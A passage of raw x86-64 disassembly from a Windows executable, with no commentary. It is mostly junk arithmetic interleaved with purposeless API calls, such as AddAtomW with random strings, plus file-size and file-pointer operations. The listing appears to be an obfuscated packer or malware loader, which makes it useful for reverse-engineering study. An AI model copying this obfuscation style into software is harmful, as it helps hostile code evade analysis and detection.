mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd3c], eax
mov eax, dword [rsp + 0xcd10]
mov ecx, dword [0x1402ad630]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd1c], eax
mov eax, dword [rsp + 0xcd3c]
mov rcx, qword [rsp + 0x196b8]
mov qword [rsp + 0x19730], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19730]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd3c]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1402ad634], eax
movzx eax, byte [0x1402acb3a]
movzx ecx, byte [rsp + 0x666]
sar eax, cl
mov byte [rsp + 0x784], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xcce0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov eax, dword [rsp + 0xcce4]
mov ecx, dword [rsp + 0xcd4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [0x1402ad634]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd3c], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcccc]
sub eax, 0x8c
mov dword [rsp + 0xcccc], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xccc0], eax
lea rcx, str.RQ32U_RCeMiQ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x35b8], ax
movsx eax, byte [0x1402bf78c]
movsx ecx, byte [rsp + 0x782]
sub eax, ecx
mov byte [rsp + 0x55e], al
movsx eax, word [rsp + 0x35a4]
movsx ecx, word [rsp + 0x35ac]
sub eax, ecx
mov word [rsp + 0x35b4], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x785]
and eax, ecx
mov byte [0x1402acb3a], al
movzx eax, word [rsp + 0x18d8]
movzx ecx, word [rsp + 0x2964]
sub eax, ecx
mov word [rsp + 0x35a8], ax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xcd10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd4c], eax
movzx eax, byte [rsp + 0x785]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x784], al
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [rsp + 0x18d8]
sar eax, cl
mov word [rsp + 0x35a8], ax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0xcd3c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd1c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcce0], eax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd10]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd1c], eax
jmp 0x14001b4cd
movzx eax, byte [rsp + 0x666]
movzx ecx, byte [rsp + 0x785]
imul eax, ecx
movzx ecx, byte [rsp + 0x784]
mov rdx, qword [rsp + 0x196d8]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jle 0x14001ba35
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xccc0], eax
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x18d8]
add eax, ecx
mov word [rsp + 0x35a8], ax
mov dword [rsp + 0x2d410], 0x114
lea rcx, [rsp + 0x19738]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rdx, qword [rsp + 0x33500]
mov cl, 0x53
call fcn.140001e90
movsx eax, word [rsp + 0x35b4]
mov dword [rsp + 0xcd54], eax
cmp dword [rsp + 0xcd54], 0
je 0x14001ba73
cmp dword [rsp + 0xcd54], 0x76c
je 0x14028cfd8
jmp 0x14028d054
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov dword [0x1402bf788], eax
movzx eax, word [rsp + 0x2964]
mov word [rsp + 0x35bc], ax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd10]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
mov eax, dword [rsp + 0x91e8]
mov dword [rsp + 0xcd58], eax
lea rax, [rsp + 0xcd1c]
mov qword [rsp + 0x19740], rax
movzx eax, byte [rsp + 0x55e]
mov byte [rsp + 0xcd5c], al
cmp byte [rsp + 0xcd5c], 0x3b
je 0x14001baf5
cmp byte [rsp + 0xcd5c], 0x41
je 0x14001bb6a
jmp 0x14001bbe6
mov r8d, dword [rsp + 0xccc0]
mov rax, qword [rsp + 0x196b8]
mov edx, dword [rax]
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rax]
call fcn.14028d6b0
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd4c], eax
mov eax, dword [rsp + 0x91e8]
movzx ecx, al
mov eax, dword [rsp + 0xccc0]
shl eax, cl
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
sub eax, ecx
mov byte [rsp + 0x785], al
jmp 0x14001bbe6
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x1a18]
and eax, ecx
mov word [rsp + 0x18d8], ax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad634], eax
lea rcx, [rsp + 0x2bed0]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0xcd60], eax
mov eax, dword [rsp + 0xcd4c]
mov ecx, dword [rsp + 0xcce4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov edx, dword [0x1402bf788]
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rax]
call fcn.14028d570
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd1c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd3c], eax
mov eax, dword [rsp + 0xccc0]
mov ecx, dword [rsp + 0x91e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd58], eax
movzx eax, byte [rsp + 0x666]
movzx ecx, byte [rsp + 0x783]
add eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x35bc]
movzx ecx, word [rsp + 0x2964]
sub eax, ecx
mov word [rsp + 0x18d8], ax
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [0x1402bf78c]
add eax, ecx
mov byte [rsp + 0x782], al
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov eax, dword [rsp + 0xccd8]
sub eax, 0x5e
mov dword [rsp + 0xccd8], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd4c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd3c]
or ecx, eax
mov eax, ecx
mov dword [0x1402bf788], eax
movzx eax, byte [rsp + 0x666]
movzx ecx, byte [rsp + 0x785]
shl eax, cl
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
mov eax, dword [0x1402ad630]
movzx ecx, al
mov eax, dword [rsp + 0xcd4c]
shr eax, cl
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd1c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
cmp dword [rsp + 0xccd8], 0x4c8c
jae 0x14001bc19
cmp dword [rsp + 0xcd40], 0x44f5
je 0x14001c01e
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xcd10]
mov ecx, dword [rsp + 0xcd4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x18d8]
sub eax, ecx
mov word [rsp + 0x35bc], ax
movzx eax, byte [rsp + 0x666]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x783], al
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91e8]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad634], eax
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd1c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd3c], eax
movsx eax, word [rsp + 0x35b4]
movsx ecx, word [rsp + 0x35ac]
sar eax, cl
mov word [rsp + 0x35a4], ax
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsx eax, byte [0x1402bf78c]
movsx ecx, byte [rsp + 0x782]
shl eax, cl
mov byte [rsp + 0x55e], al
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [rsp + 0x35a8]
or eax, ecx
mov word [rsp + 0x18d8], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x785]
xor eax, ecx
mov byte [rsp + 0x666], al
mov eax, dword [rsp + 0xcd10]
mov ecx, dword [rsp + 0xcce4]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad630], eax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0xcd3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd58], eax
movzx eax, byte [rsp + 0x666]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x783], al
mov eax, dword [rsp + 0xcd40]
add eax, 0x7d
mov dword [rsp + 0xcd40], eax
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [rsp + 0x2964]
and eax, ecx
mov word [rsp + 0x35bc], ax
mov eax, dword [rsp + 0xcd10]
mov ecx, dword [rsp + 0xcd4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd3c], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd10], eax
mov eax, dword [rsp + 0xcd10]
mov ecx, dword [rsp + 0xcd4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x784]
or eax, ecx
mov byte [0x1402acb3a], al
jmp 0x14001bd66
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0xcd1c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8754], eax
movzx eax, word [rsp + 0x2964]
mov dword [rsp + 0xcd64], eax
cmp dword [rsp + 0xcd64], 0x649
je 0x14001c056
jmp 0x14001c099
movsx eax, word [rsp + 0x35a4]
movsx ecx, word [rsp + 0x35ac]
and eax, ecx
mov word [rsp + 0x35b4], ax
mov rax, qword [rsp + 0x196b8]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x19740]
mov edx, dword [rax]
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rax]
call fcn.14028d700
jmp 0x14028cf8c
movzx eax, byte [rsp + 0x782]
mov byte [rsp + 0xcd68], al
cmp byte [rsp + 0xcd68], 0x60
je 0x14001c0b7
jmp 0x14001c15c
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402bf788], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0xcd1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd58], eax
movzx eax, byte [rsp + 0x666]
movzx ecx, byte [rsp + 0x785]
add eax, ecx
mov byte [rsp + 0x784], al
mov eax, dword [0x1402ad634]
mov ecx, dword [rsp + 0x8754]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19740]
mov dword [rcx], eax
jmp 0x14028cf1b
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov dword [rsp + 0xcd6c], eax
cmp dword [rsp + 0xcd6c], 0
je 0x14001c17c
jmp 0x14028ce4a
movzx eax, byte [rsp + 0x783]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x785], al
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
imul eax, eax, 0x29
mov byte [0x1402acb3b], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x19748], rax
movzx eax, word [rsp + 0x18d8]
mov word [rsp + 0x35c0], ax
movzx eax, byte [0x1402bf78c]
mov byte [rsp + 0x786], al
movsx eax, word [rsp + 0x35a4]
movsx ecx, word [rsp + 0x35ac]
add eax, ecx
mov word [rsp + 0x35b4], ax
mov eax, dword [rsp + 0xcd10]
mov ecx, dword [rsp + 0xcd4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [0x1402ad634]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc10], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x784]
sub eax, ecx
mov byte [rsp + 0x785], al
movzx eax, word [rsp + 0x35c0]
mov word [rsp + 0x35c4], ax
lea rax, [rsp + 0xcd1c]
mov qword [rsp + 0x19750], rax
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [rsp + 0x782]
sub eax, ecx
mov byte [0x1402acb46], al
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd4c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov eax, dword [rsp + 0x91e8]
mov dword [rsp + 0xcd70], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc10], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd24], eax
movzx ecx, word [rsp + 0x35b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35c8], ax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
sub eax, ecx
mov byte [rsp + 0x666], al
lea rdx, [rsp + 0x2d2a0]
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcd74], eax
mov eax, dword [rsp + 0xcd38]
sub eax, 0xee
mov dword [rsp + 0xcd38], eax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcd10], eax
mov eax, dword [rsp + 0x91e8]
mov rcx, qword [rsp + 0x19750]
mov qword [rsp + 0x19758], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19758]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcd58], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19750]
mov qword [rsp + 0x19760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19760]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcd70], eax
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rsp + 0xbc10]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402ad634], eax
lea rcx, str.TABaQ3Di
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x35c8], ax
mov rax, qword [rsp + 0x19750]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xbc10], eax
cmp dword [rsp + 0xcd38], 0xa331
jae 0x14001c2ab
lea rax, [rsp + 0x35a4]
mov qword [rsp + 0x19768], rax
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [rsp + 0x786]
sub eax, ecx
mov byte [rsp + 0x782], al
cmp dword [rsp + 0xcd00], 0x84a3
jb 0x14001c957
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x666]
sub eax, ecx
mov byte [rsp + 0x783], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movzx eax, word [rsp + 0x18d8]
movzx ecx, word [rsp + 0x35c4]
sub eax, ecx
mov word [rsp + 0x35a8], ax
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcd24], eax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcce4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xccc8], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd4c], eax
movzx eax, byte [rsp + 0x783]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x784], al
movsx eax, byte [rsp + 0x786]
movsx ecx, byte [rsp + 0x782]
and eax, ecx
mov byte [0x1402bf78c], al
mov dword [rsp + 0x2d530], 0x114
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd70], eax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xcd10]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcd70]
movzx ecx, al
mov eax, dword [rsp + 0x91e8]
sar eax, cl
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
movzx eax, byte [rsp + 0x666]
movzx ecx, byte [rsp + 0x783]
shl eax, cl
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x18d8]
movzx ecx, word [rsp + 0x35a8]
add eax, ecx
mov word [rsp + 0x35c4], ax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd10], eax
mov eax, dword [rsp + 0xcd58]
mov ecx, dword [rsp + 0xcd1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35ac]
add eax, ecx
mov rcx, qword [rsp + 0x19768]
mov word [rcx], ax
mov eax, dword [rsp + 0xcd00]
sub eax, 0x60
mov dword [rsp + 0xcd00], eax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35b4]
sub eax, ecx
mov word [rsp + 0x35ac], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x785]
sub eax, ecx
mov byte [rsp + 0x784], al
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [rsp + 0x35bc]
sub eax, ecx
mov word [rsp + 0x35c4], ax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcd10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc10], eax
mov eax, dword [rsp + 0xbc10]
mov ecx, dword [0x1402bf788]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
mov rcx, qword [rsp + 0x19748]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd28], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19750]
mov qword [rsp + 0x19770], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19770]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xccc0], eax
lea rdx, [rsp + 0x19778]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcd50], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x785]
xor eax, ecx
mov byte [0x1402acb3b], al
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x1a18]
shl eax, cl
mov word [rsp + 0x35a8], ax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8754], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19750]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd70], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xccc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd58], eax
movzx eax, word [rsp + 0x35a8]
movzx ecx, word [rsp + 0x1a18]
sub eax, ecx
mov word [rsp + 0x2964], ax
movzx eax, byte [rsp + 0x666]
movzx ecx, byte [rsp + 0x783]
add eax, ecx
mov byte [rsp + 0x784], al
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [rsp + 0x782]
add eax, ecx
mov byte [rsp + 0x786], al
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [rsp + 0x782]
sub eax, ecx
mov byte [0x1402acb46], al
mov eax, dword [rsp + 0xcd4c]
mov ecx, dword [rsp + 0xcd10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc10], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcce0], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov r9d, 2
xor r8d, r8d
mov edx, 0x8eb0
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xccc8], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x785]
add eax, ecx
mov byte [rsp + 0x666], al
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [rsp + 0x35c0]
sar eax, cl
mov word [rsp + 0x35a8], ax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcd4c], eax
jmp 0x14001c454
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcd58], eax
lea rax, [rsp + 0x8754]
mov qword [rsp + 0x19780], rax
movsx eax, word [rsp + 0x35ac]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
shl eax, cl
movsx ecx, word [rsp + 0x35b4]
movsx edx, word [rsp + 0x35a4]
and ecx, edx
cmp eax, ecx
jne 0x14028cd55
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
or eax, ecx
movzx ecx, byte [0x1402acb3a]
mov dword [rsp + 0xcd78], ecx
movzx edx, byte [rsp + 0x784]
movzx ecx, dl
mov edx, dword [rsp + 0xcd78]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14001cac9
mov rcx, qword [rsp + 0x19788]
call qword [sym.imp.SHELL32.dll_DragFinish]
mov rax, qword [rsp + 0x19750]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x786]
movsx ecx, byte [rsp + 0x782]
add eax, ecx
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35ac]
sub eax, ecx
mov word [rsp + 0x35a4], ax
movzx eax, byte [rsp + 0x785]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acb3b], al
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x784]
and eax, ecx
mov byte [rsp + 0x785], al
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcce4], eax
mov eax, dword [0x1402bf788]
mov ecx, dword [rsp + 0xcd58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd70], eax
jmp 0x14001cc0f
movzx eax, byte [rsp + 0x666]
mov rcx, qword [rsp + 0x196d8]
